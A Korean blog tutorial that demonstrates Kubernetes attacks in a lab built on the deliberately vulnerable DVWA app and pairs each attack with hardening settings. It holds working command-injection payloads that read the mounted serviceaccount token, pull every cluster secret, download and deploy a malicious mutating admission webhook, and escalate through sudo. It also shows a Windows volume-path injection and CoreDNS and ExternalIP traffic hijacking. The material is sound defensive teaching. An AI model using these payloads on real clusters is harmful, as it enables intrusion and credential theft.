전공영역 공부 기록

예제로 살펴보는 쿠버네티스 보안

악분 2024. 8. 15. 21:50
반응형

 

 

 

1. 이 글에서 다루고자 하는 내용

쿠버네티스 보안은 정말 범위가 넓고 쿠버네티스만 공부해서는 어려운 내용이 많습니다. 그래서 이 글에서는 쿠버네티스 보안에 대한 이론적 설명보다는 어떤 쿠버테티스 설정때문에 이런 위험이 발생할 수 있다는 것을 소개하고 싶었습니다. 쿠버네티스 보안을 지키지 않으면 뭐가 위험한데? 라는 질문에 대해 간단히 대답하고 싶었습니다.

 

저는 보안업무로 일해본 경험이 없어 보안지식이 얕습니다. 하지만, 얕은지식으로도 쿠버네티스 공격이 가능하기 때문에 쿠버네티스 보안은 필수로 공부하며 위험성을 이해하고 보안설정을 해야한다고 생각합니다.

 

이 글에서 설명하는 쿠버네티스 보안 공격은 실제 환경에서 사용하면 안됩니다.

 

2. 쿠버네티스 보안이란?

쿠버네티스 보안은 단순히 쿠버네티스만 다루지 않고 4C라고 불리는 4가지 분야를 다룹니다. 애플리케이션 코드부터 시작해서 컨테이너, 쿠버네티스, 서버(클라우드, 온프레미스), 네트워크, 운영체제를 요구합니다.

  • 코드(Code)
  • 컨테이너(Container)
  • 쿠버테티스 클러스터(Cluster)
  • 클라우드(Cloud), Co-Lo/Coporate Datacenter(온프레미스)

참고자료: https://kubernetes.io/ko/docs/concepts/security/overview

 

3. 실습자료

실습환경 구축 등 이 글에서 사용한 실습자료는 저의 github에 공개되어 있습니다.

 

4. 쿠버네티스 보안의 시작 - 코드

쿠버네티스 보안의 시작은 애플리케이션 코드에서 시작합니다. 애플리케이션 코드는 웹, 데스크탑, 커널 등 다양합니다. 이 글에서는 웹 애플리케이션 코드를 예제로 사용합니다.

 

제가 사용하는 웹 애플리케이션은 DVWA입니다. DVWA는 웹 취약점을 공부할 수 있도록 일부로 웹 애플리케이션 보안 설정을 약하게 한 웹 애플리케이션입니다. 설치 방법은 저의 github문서를 참고해주세요.

 

웹 공격에서 가장 위험한 공격은 원격 명령어 실행 입니다. 왜냐하면 공격자가 마음대로 원하는 코드를 실행할 수 있기 때문입니다. 공격자가 원하는 코드를 실행할 수 있다는 것은 마음대로 공격할 수 있다는 의미입니다.

 

DVWA에서는 command injection메뉴에서 원격 명령어를 실행할 수 있습니다.

127.0.0.1 -c 1

 

웹 애플리케이션에서 원격 명령어를 실행할 수 있다면, 공격자는 어떻게든 자기가 원하는 명령어를 실행하기 위해 공격을 시도합니다. dvwa 앱은 ping 명령어만 실행하도록 의도했지만 공격자는 논리 연산자를 사용해서 계정 정보를 확인했습니다.

127.0.0.1 -c 1 && whoami

 

5. 공격을 위한 정보탐색

공격자는 웹 애플리케이션에서 자기가 원하는 명령어를 실행할 수 있다는 것을 확인했습니다. 그렇다면 다음에 공격자가 어떤 공격을 할까요? 바로 정보탐색입니다. 공격자가 명령어를 실행하기 이전에 공격을 위한 정보를 수집하는 과정입니다.

 

공격자는 웹 애플리케이션이 쿠버네티스 pod로 실행되는 것을 금방 알았습니다. 어떻게 알았을까요?

 

pod KUBERNETES로 시작된 환경변수를 가지고 있습니다. 공격자는 환경변수를 조회하여 애플리케이션 실행환경이 쿠버네티스라는 것을 알았습니다.

127.0.0.1 -c 1 && env | grep KUBERNETES

 

6. 공격 시나리오 1번 - secret 조회

공격 시나리오 1번은 pod에 마운트된 토큰을 사용하여 쿠버네티스 secret을 조회합니다.

 

6.1 공격

쿠버네티스 podserviceaccount를 사용하게 되면 쿠버네티스 토큰이 pod에 마운트됩니다.

127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token

 

pod에 마운트된 쿠버네티스 토큰은 쿠버네티스 API사용 인증/인가에 사용됩니다. 예를 들어 serviceAccount가 어디 namespace에 속해 있는지 쿠버네티스 API로 조회합니다.

127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/namespace

 

공격자는 다음 공격을 하기 위해 토큰권한을 확인하고 싶습니다. 토큰 권한에 따라 다음 공격을 가늠할 수 있기 때문입니다. 토큰 권한은 authorization API로 조회합니다.

127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -X POST -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"apiVersion":"authorization.k8s.io/v1","kind":"SelfSubjectRulesReview","spec":{"namespace":"dvwa"}}' https://kubernetes.default.svc.cluster.local/apis/authorization.k8s.io/v1/selfsubjectrulesreviews; }

 

 

권한을 쉽게 보기 위해 chatGPT를 사용해서 예쁘게 포맷팅했습니다. 프롬프트는 아래와 같습니다.

쿠버네티스 authorization.k8s.io/v1 API응답을 내가 전달해준 표 양식대로 예쁘게 정리해줘 { "kind": "SelfSubjectRulesReview", "apiVersion": "authorization.k8s.io/v1", "metadata": { "creationTimestamp": null }, "spec": {}, "status": { "resourceRules": [ { "verbs": [ "*" ], "apiGroups": [ "*" ], "resources": [ "*" ] }, { "verbs": [ "*" ], "apiGroups": [ "" ], "resources": [ "pods" ] }, { "verbs": [ "create" ], "apiGroups": [ "authorization.k8s.io" ], "resources": [ "selfsubjectaccessreviews", "selfsubjectrulesreviews" ] }, { "verbs": [ "create" ], "apiGroups": [ "authentication.k8s.io" ], "resources": [ "selfsubjectreviews" ] } ], "nonResourceRules": [ { "verbs": [ "get" ], "nonResourceURLs": [ "/.well-known/openid-configuration", "/.well-known/openid-configuration/", "/openid/v1/jwks", "/openid/v1/jwks/" ] }, { "verbs": [ "get" ], "nonResourceURLs": [ "/healthz", "/livez", "/readyz", "/version", "/version/" ] }, { "verbs": [ "get" ], "nonResourceURLs": [ "/api", "/api/*", "/apis", "/apis/*", "/healthz", "/livez", "/openapi", "/openapi/*", "/readyz", "/version", "/version/" ] } ], "incomplete": false } } Resources Non-Resource URLs Resource Names Verbs *.* [] [] [*] [*] [] [*] selfsubjectreviews.authentication.k8s.io [] [] [create] selfsubjectaccessreviews.authorization.k8s.io [] [] [create] selfsubjectrulesreviews.authorization.k8s.io [] [] [create] [/api/*] [] [get] [/api] [] [get] [/apis/*] [] [get] [/apis] [] [get] [/healthz] [] [get] [/healthz] [] [get] [/livez] [] [get] [/livez] [] [get] [/openapi/*] [] [get] [/openapi] [] [get] [/readyz] [] [get] [/readyz] [] [get] [/version/] [] [get] [/version/] [] [get] [/version] [] [get] [/version] [] [get]

 

공격자는 토큰이 대부분의 쿠버네티스 API를 사용할 수 있다는 것을 알았습니다.

 

 

공격자는 secret API를 사용해서 secret을 탈취했습니다.

127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" https://kubernetes.default.svc.cluster.local/api/v1/secrets; }

 

6.2  보안 설정

serviceAccount token을 사용하여 secret을 탈취하는 시나리오의 문제는 3개입니다. 쿠버네티스 관점만 생각했습니다.

  • serviceAccount role 권한을 최소화 하지 않음
  • clusterrolebinding을 사용
  • secret을 암호화하지 않은 것

 

role을 보면 admin에 준하는 권한을 갖습니다. 그리고 clusterrole이면서 clusterrolebinding으로 serviceaccount에 권한을 매핑했기 때문에, serviceaccount 토큰이 다른 namespace secret도 조회됩니다. 결과적으로 dvwa pod가 사용하는 serviceAccount 토큰은 관리자에 준하는 권한을 가지면서 모든 namespace와 쿠버네티스 클러스터를 대상으로 권한을 갖습니다.

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: dvwa
rules:
- apiGroups: ["*"]
  resources: ["*"]
  verbs: ["*"]
- apiGroups: [""]
  resources: ["pods"]
  verbs: ["*"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: dvwa
subjects:
- kind: ServiceAccount
  name: dvwa
  namespace: dvwa
roleRef:
  kind: ClusterRole
  name: dvwa
  apiGroup: rbac.authorization.k8s.io

 

보안 조치하려면 dvwa가 사용하는 role권한을 최소화하고 rolebinding으로 변경합니다.

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: dvwa
  namespace: dvwa
rules: []
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: dvwa
  namespace: dvwa
subjects:
- kind: ServiceAccount
  name: dvwa
  namespace: dvwa
roleRef:
  kind: Role
  name: dvwa
  apiGroup: rbac.authorization.k8s.io

 

또는 dvwa가 쿠버네티스 API를 사용하지 않는다면, rolerolebinding을 제거합니다. 장 좋은 방법은 podserviceAccount토큰을 사용하지 않도록 토큰 마운트 설정을 비활성화 합니다.

apiVersion: apps/v1
kind: Deployment
metadata:
  name: dvwa-web
  namespace: dvwa
spec:
  template:
    spec:
      serviceAccountName: dvwa
      # 토큰을 마운트하지 않게 설정
      automountServiceAccountToken: false

 

마지막으로 쿠버네티스 secret을 안전하게 사용하려면, secret 값을 암호해서 저장해야 합니다. 쿠버네티스 secret은 값을 암호화해서 저장하지 않고 base64인코딩해서 저장합니다. vault같은 써드파티를 사용해서 암호화 합니다.

 

7. 공격 시나리오 2번 - pod 생성

2번 시나리오는 1번 시나리오처럼 serviceAccount토큰과 쿠버네티스 API를 호출해서 악성코드 pod를 생성합니다. 이 예제에서는 nginx pod를 생성합니다.

 

7.1 공격

쿠버네티스 API를 호출해서 default namespacenginx pod를 생성합니다. 토큰은 웹 애플리케이션에 마운트되어 있는 토큰을 사용합니다.

127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"nginx","namespace":"default"},"spec":{"containers":[{"name":"nginx","image":"nginx:latest","ports":[{"containerPort":80}]}]}}' https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/pods; }

 

pod가 성공적으로 생성되면, 생성된 pod의 정보를 응답으로 받습니다.

 

예제에서는 nginx pod를 했지만 악성코드 pod를 생성할 수 있습니다. 예를 들어 코인을 채굴하는 채굴pod를 생성할 수 있습니다. pod이외에도 configmap, secret변조 등을 할 수 있습니다. 다음 시나리오 3번에서는 admission controller을 사용해서 더 강력한 공격을 시도합니다.

 

7.2 보안 설정

시나리오 1번과 동일하게 보안설정을 합니다.

 

8. 공격 시나리오 3번 - 쿠버네티스 API 변조

시나리오 3번은 admission controller을 사용해서 쿠버네티스 API를 변조하는 공격입니다. 이 예제에서는 Pod생성 요청이 오면 initContainer를 주입하도록 API를 변조합니다. API생성을 가로채기 때문에 매우 강력한 공격입니다.

 

8.1 공격

공격자는 admission controller을 생성하기 위해 pod, svc, secret을 생성해야 합니다. 각 리소스 specgithub에 있습니다. 따라서 공격자는 github에서 manifest를 다운로드하고 쿠버네티스 API로 리소스를 생성합니다.

 

리소스 spec은 저의 github에 있습니다.

 

공격자는 공격하기 전에 환경탐색을 합니다. 취약한 웹 애플리케이션이 어떤 운영체제에 실행되고 권한 상승이 되는지 조사했습니다. 조사 결과 웹 애플리케이션이 있는 환경은 debian리눅스 운영체제이고 sudo명령어로 권한상 승이 되는 것을 알았습니다.

127.0.0.1 -c 1 && cat /etc/os-release

 

127.0.0.1 -c 1 && sudo id

 

공격자는 github에 있는 manifest를 다운로드 받기 위해 wget명령어를 설치합니다.

127.0.0.1 -c 1 && sudo apt update && echo done && sudo apt install wget

 

wget이 잘 설치되었습니다. 그 다음 공격은 웹훅 인증서를 저장하는 secret을 생성하는 것입니다. 쿠버네티스는 웹훅을 사용하려면 인증서가 필요합니다. 먼저 인증서 ca.crt, ca.key를 다운로드 받습니다.

127.0.0.1 -c 1 && wget https://raw.githubusercontent.com/choisungwook/portfolio/master/kubernetes/security/manifests/admission_controller/certs/ca.crt && cat ca.crt
127.0.0.1 -c 1 && wget https://raw.githubusercontent.com/choisungwook/portfolio/master/kubernetes/security/manifests/admission_controller/certs/ca.key && cat ca.key

 

다운로드 받은 인증서와 secret API를 사용해서 secret을 생성합니다.

127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -X POST -d '{"apiVersion":"v1","kind":"Secret","metadata":{"name":"webhook-certs","namespace":"default"},"data":{"tls.crt":"'"$(cat ca.crt | base64 | tr -d '\n')"'","tls.key":"'"$(cat ca.key | base64 | tr -d '\n')"'"},"type":"kubernetes.io/tls"}' https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/secrets; }

 

그 다음 admission controller pod를 생성합니다. manifest를 다운로드 받고 쿠버네티스 API로 리소스를 생성합니다.

127.0.0.1 -c 1 && wget https://raw.githubusercontent.com/choisungwook/portfolio/master/kubernetes/security/manifests/admission_controller/admission-controller-deployment.yaml && cat admission-controller-deployment.yaml
127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" -X POST --data-binary @admission-controller-deployment.yaml https://kubernetes.default.svc.cluster.local/apis/apps/v1/namespaces/default/deployments; }

 

그 다음 admission controller service를 생성합니다. manifest를 다운로드 받고 쿠버네티스 API로 리소스를 생성합니다.

127.0.0.1 -c 1 && wget https://raw.githubusercontent.com/choisungwook/portfolio/master/kubernetes/security/manifests/admission_controller/admission-controller-service.yaml && cat admission-controller-service.yaml
127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" -X POST --data-binary @admission-controller-service.yaml https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/services; }

 

공격자는 마지막으로 mutate webhook을 생성합니다. manifest를 다운로드 받고 쿠버네티스 API로 리소스를 생성합니다.

127.0.0.1 -c 1 && wget https://raw.githubusercontent.com/choisungwook/portfolio/master/kubernetes/security/manifests/admission_controller/mutate-webhook.yaml && cat mutate-webhook.yaml
127.0.0.1 -c 1 && cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/yaml" -X POST --data-binary @mutate-webhook.yaml https://kubernetes.default.svc.cluster.local/apis/admissionregistration.k8s.io/v1/mutatingwebhookconfigurations; }

 

이제 공격받은 쿠버네티스는 pod를 생성할 때마다 악성코드가 있는 initConatiner가 같이 실행되었다가 종료됩니다. kubectl을 사용해서 nginx pod를 생성하고 nginx podinitContainer가 있는지 확인해보세요.

$ kubectl run --image=nginx -n default nginx-test
$ kubectl describe pod nginx-test -n default | grep "Init Container" -A 5
Init Containers:
  busybox-by-mutatehandler:
    Container ID:   containerd:
    Image:          busybox
...

 

8.2 보안 설정

1번 시나리오 보안 설정과 함께 podsudo 권한을 제거해야 합니다. sudo권한은 리눅스 권한상승을 하기 때문에 컨테이너에서는 불필요합니다. 또한 쿠버네티스 설정으로 권한 상승을 막습니다. podallowPrivilegeEscalation를 설정하면 권한 상승을 막습니다.

apiVersion: v1
kind: Pod
metadata:
 name: ubunut-disallow-sudo
spec:
 containers:
 - name: main
   image: ubuntu:sudo
   command: [ "sh", "-c", "sleep 1h" ]
   # 권한 상승 방지
   securityContext:
     allowPrivilegeEscalation: false

 

dvwa 웹 애플리케이션 podallowPrivilegeEscalation을 설정하면, 웹 애플리케이션에서 명령어를 실행하기 위해 리눅스 소켓을 생성하는데 소켓 생성은 root권한이 필요하여 거절됩니다.

 

자세한 내용은 저의 이전 글을 참고해주세요.

 

9.  공격 시나리오 4번 - 윈도우 쿠버네티스 취약점

4번 시나리오는 쿠버네티스 취약점으로 원격 명령어를 실행합니다. 윈도우 쿠버네티스만 가능해서 취약점 보고서만 소개합니다.

 

윈도우 쿠버네티스 1.28.3버전 이하에서 persistence volume local path에 윈도우 명령어를 설정하면, persistence volume 생성 시 명령어가 실행됩니다. 아래 예제에서는 계산기를 실행합니다.

apiVersion: v1
kind: PersistentVolume
metadata:
  name: example
spec:
  capacity:
    storage: 100M
  accessModes:
    - ReadWriteOnce
  persistentVolumeReclaimPolicy: Retain
  storageClassName: local-storage
  local:
    path: C:\calc.exe&&\

 

쿠버네티스 보안패치를 보면, path에 설정된 경로를 윈도우 cmd명령어 실행합니다. 논리연산자등을 통해 공격자는 원하는 명령어를 얼마든지 실행할 수 있습니다. 패치된 코드는 cmd명령어를 더 이상 사용하지 않고 os.symlink명령어를 사용합니다.

참고자료: https://github.com/kubernetes/kubernetes/pull/121881/files

 

10. 공격 시나리오 5번 - DNS poison

DNS poisonDNS응답을 공격자 서버 IP로 변경하여 클라이언트가 전송할 트래픽을 중간에 가로채는 공격입니다. 공격자가 서버에 침투를 했고 관리자권한으로 kubectl을 사용할 수 있다면, 매우 쉽게 DNS응답을 변조할 수 있습니다.

 

쿠버네티스는 쿠버네티스만의 DNS서버가 구현되어 있기 때문에, 공격자는 kubedns를 변조하면 전체 podDNS응답을 변조할 수 있습니다. 이 예제에서는 coredns를 변조합니다.

 

coredns 설정파일은 kube-system namespaceconfigmap으로 관리됩니다.

$ kubectl get configmap coredns -n kubesystem

 

coredns는 플러그인을 사용하여 DNS 응답을 설정합니다. 플러그인 중 공격자는 hosts플러그인을 사용하면 매우 쉽게 DNS응답을 설정할 수 있습니다. host플러그인은 도메인에 매핑되는 IP를 설정합니다. 아래 예제에서는 example.comDNS응답을 8.8.8.8로 설정합니다.

$ kubectl edit configmap coredns -n kubesystem
apiVersion: v1
kind: ConfigMap
metadata:
  name: coredns
  namespace: kube-system
data:
  Corefile: |
    .:53 {
        ...
        hosts {
          8.8.8.8 example.com
          fallthrough
        }
        ...
    }

 

11. 공격 시나리오 6번 - service ExternalIP를 남용

7번 시나리오 공격은 이전 공격 시나리오와 마찬가지로 클라이언트의 패킷을 공격자한테 가게 하는 공격입니다. 차이점은 DNS를 변조하지 않고 쿠버네티스 service ExternalIP를 사용하여 클라이언트 패킷을 공격자에게 가게 합니다.

 

쿠버네티스 service ExternalIPservice가 외부 IP가 있을 경우 설정되는 필드입니다. Loadbalancer타입 serviceExtternalIP를 사용합니다. Loadbalancer IPExternalIP에 설정됩니다.

 

문제는 공격자는 ExternalIP를 변조시켜, 클라이언트가 특정 IP를 호출할 때 패킷을 자기한테 오게 할 수 있습니다. CVE-2020-8554에 보고된 취약점인데 쿠버네티스 기능상 아직 수정할 수 없는 것 같습니다.

 

예를 들어 아래처럼 http://cncf.io 도메인에 해당하는 IPExternalIP를 설정하면, 클라이언트는 http://cncf.io를 요청할 때 패킷이 ExternalIPselector하는 nginx pod로 가게 됩니다.

apiVersion: v1
kind: Service
metadata:
  name: evil
  namespace: default
spec:
  selector:
    app: nginx
  ports:
  - protocol: TCP
    port: 80
    targetPort: 80
  type: ClusterIP
  externalIPs:
  - 23.185.0.3 # http://cncf.io

 

12. 공격 시나리오 7번 - kubeletAPI

kubelet 인증/인가를 미흡하게 설정하면 누구나 kubeletAPI를 사용할 수 있습니다. kubeletAPI를 kubernetes API와 마찬가지로 pod, 쿠버네티스 리소스 등을 제어합니다. 자세한 내용은 제가 작성한 이전 글을 참고해주세요

 

참고자료

이하여백

반응형